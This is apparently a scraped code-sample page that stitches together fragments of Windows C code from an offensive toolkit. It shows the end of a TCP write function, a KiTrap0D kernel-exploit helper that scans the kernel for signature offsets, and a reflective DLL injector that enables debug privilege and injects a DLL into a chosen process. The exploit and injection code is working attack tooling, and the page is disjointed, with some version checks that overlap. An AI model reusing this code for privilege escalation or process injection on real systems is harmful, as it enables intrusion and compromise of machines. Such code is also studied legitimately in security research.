				dprintf( "[TCP] tcp_channel_client_write. send returned WSAEWOULDBLOCK, waiting until we can send again..." );

				while( TRUE )
				{
					tv.tv_sec  = 0;
					tv.tv_usec = 1000;

					FD_ZERO( &set );
					FD_SET( ctx->fd, &set );

					res = select( 0, NULL, &set, NULL, &tv );
					if( res > 0 )
					{
						dwResult = ERROR_SUCCESS;
						break;
					}
					else if( res == SOCKET_ERROR )
					{
						dwResult = WSAGetLastError();
						break;
					}

					Sleep( 100 );
				}

				if( dwResult == ERROR_SUCCESS )
					continue;
				else
					dprintf( "[TCP] tcp_channel_client_write. select == SOCKET_ERROR. dwResult=%d", dwResult );
			}

			written = 0;
			dprintf( "[TCP] tcp_channel_client_write. written == SOCKET_ERROR. dwResult=%d", dwResult );
		}

		if( bytesWritten )
			*bytesWritten = written;

	} while( 0 );

	dprintf( "[TCP] tcp_channel_client_write. finished. dwResult=%d, written=%d", dwResult, written );

	return dwResult;
}
Beispiel #29
0
/*
 * Scan the appropriate kernel image for the correct offset
 */
BOOL kitrap0d_scan_kernel( PDWORD KernelBase, PDWORD OffsetFromBase )
{
	DWORD dwResult                       = ERROR_SUCCESS;
	FARPROC NtQuerySystemInformation     = NULL;
	HMODULE hKernel                      = NULL;
	HMODULE hNtdll                       = NULL;
	PIMAGE_DOS_HEADER DosHeader          = NULL;
	PIMAGE_NT_HEADERS PeHeader           = NULL;
	PIMAGE_OPTIONAL_HEADER OptHeader     = NULL;
	PBYTE ImageBase                      = NULL;
	HKEY MmHandle                        = NULL;
	OSVERSIONINFO os                     = {0};
	SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
	DWORD PhysicalAddressExtensions      = 0;
	DWORD DataSize                       = 0;
	ULONG i                              = 0;
	ULONG x                              = 0;

	// List of versions we have code signatures for.
	enum {
		MICROSOFT_WINDOWS_NT4   = 0,
		MICROSOFT_WINDOWS_2000  = 1,
		MICROSOFT_WINDOWS_XP    = 2,
		MICROSOFT_WINDOWS_2003  = 3,
		MICROSOFT_WINDOWS_VISTA = 4,
		MICROSOFT_WINDOWS_2008  = 5,
		MICROSOFT_WINDOWS_7     = 6,
	} Version = MICROSOFT_WINDOWS_7;

	do
	{
		hNtdll = GetModuleHandle("ntdll");
		if( !hNtdll )
			BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE );

		// NtQuerySystemInformation can be used to find kernel base address
		NtQuerySystemInformation = GetProcAddress( hNtdll, "NtQuerySystemInformation" );
		if( !NtQuerySystemInformation )
			BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE );

		// Determine kernel version so that the correct code signature is used
		os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
		if( !GetVersionEx( &os ) )
			BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed" );

		dprintf( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);

		if( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
			Version = MICROSOFT_WINDOWS_NT4;
		if( os.dwMajorVersion == 5 && os.dwMinorVersion == 0 )
			Version = MICROSOFT_WINDOWS_2000;
		if( os.dwMajorVersion == 5 && os.dwMinorVersion == 1 )
			Version = MICROSOFT_WINDOWS_XP;
		if( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
			Version = MICROSOFT_WINDOWS_2003;
		if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
			Version = MICROSOFT_WINDOWS_VISTA;
		if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
			Version = MICROSOFT_WINDOWS_2008;
		if( os.dwMajorVersion == 6 && os.dwMinorVersion == 1 )
			Version = MICROSOFT_WINDOWS_7;

		// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
		NtQuerySystemInformation( SystemModuleInformation, &ModuleInfo, sizeof( ModuleInfo ), NULL );
		
		dprintf( "[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base );

		// Load the kernel image specified
		hKernel = LoadLibrary( strrchr( ModuleInfo.Module[0].ImageName, '\\' ) + 1 );
		if( !hKernel )
			BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed" );

		// Parse image headers
		*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
		ImageBase   = (PBYTE)hKernel;
		DosHeader   = (PIMAGE_DOS_HEADER)ImageBase;
		PeHeader    = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
		OptHeader   = &PeHeader->OptionalHeader;
	
		dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version );

		for( x=0 ; ; x++ )
		{
			if( CodeSignatures[x].Version == -1 )
				break;

			if( CodeSignatures[x].Version != Version )
				continue;

			dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x );

			// Scan for the appropriate signature...
			for( i = OptHeader->BaseOfCode ; i < OptHeader->SizeOfCode ; i++ )
			{
				if( memcmp( &ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature ) == 0 )
				{
					dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i );

					*OffsetFromBase = i;

					FreeLibrary( hKernel );

					return TRUE;
				}
			}
		}

	} while( 0 );

	dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel" );

	if( hKernel )
		FreeLibrary( hKernel );

	return FALSE;
}
// Simple app to inject a reflective DLL into a process vis its process ID.
int main( int argc, char * argv[] )
{
	HANDLE hFile          = NULL;
	HANDLE hModule        = NULL;
	HANDLE hProcess       = NULL;
	HANDLE hToken         = NULL;
	LPVOID lpBuffer       = NULL;
	DWORD dwLength        = 0;
	DWORD dwBytesRead     = 0;
	DWORD dwProcessId     = 0;
	TOKEN_PRIVILEGES priv = {0};

#ifdef WIN_X64
	char * cpDllFile  = "reflective_dll.x64.dll";
#else
#ifdef WIN_X86
	char * cpDllFile  = "reflective_dll.dll";
#else WIN_ARM
	char * cpDllFile  = "reflective_dll.arm.dll";
#endif
#endif

	do
	{
		// Usage: inject.exe [pid] [dll_file]

		if( argc == 1 )
			dwProcessId = GetCurrentProcessId();
		else
			dwProcessId = atoi( argv[1] );

		if( argc >= 3 )
			cpDllFile = argv[2];

		hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
		if( hFile == INVALID_HANDLE_VALUE )
			BREAK_WITH_ERROR( "Failed to open the DLL file" );

		dwLength = GetFileSize( hFile, NULL );
		if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
			BREAK_WITH_ERROR( "Failed to get the DLL file size" );

		lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
		if( !lpBuffer )
			BREAK_WITH_ERROR( "Failed to get the DLL file size" );

		if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
			BREAK_WITH_ERROR( "Failed to alloc a buffer!" );

		if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
		{
			priv.PrivilegeCount           = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		
			if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
				AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );

			CloseHandle( hToken );
		}

		hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
		if( !hProcess )
			BREAK_WITH_ERROR( "Failed to open the target process" );

		hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
		if( !hModule )
			BREAK_WITH_ERROR( "Failed to inject the DLL" );

		printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
		
		WaitForSingleObject( hModule, -1 );

	} while( 0 );

	if( lpBuffer )
		HeapFree( GetProcessHeap(), 0, lpBuffer );

	if( hProcess )
		CloseHandle( hProcess );

	return 0;
}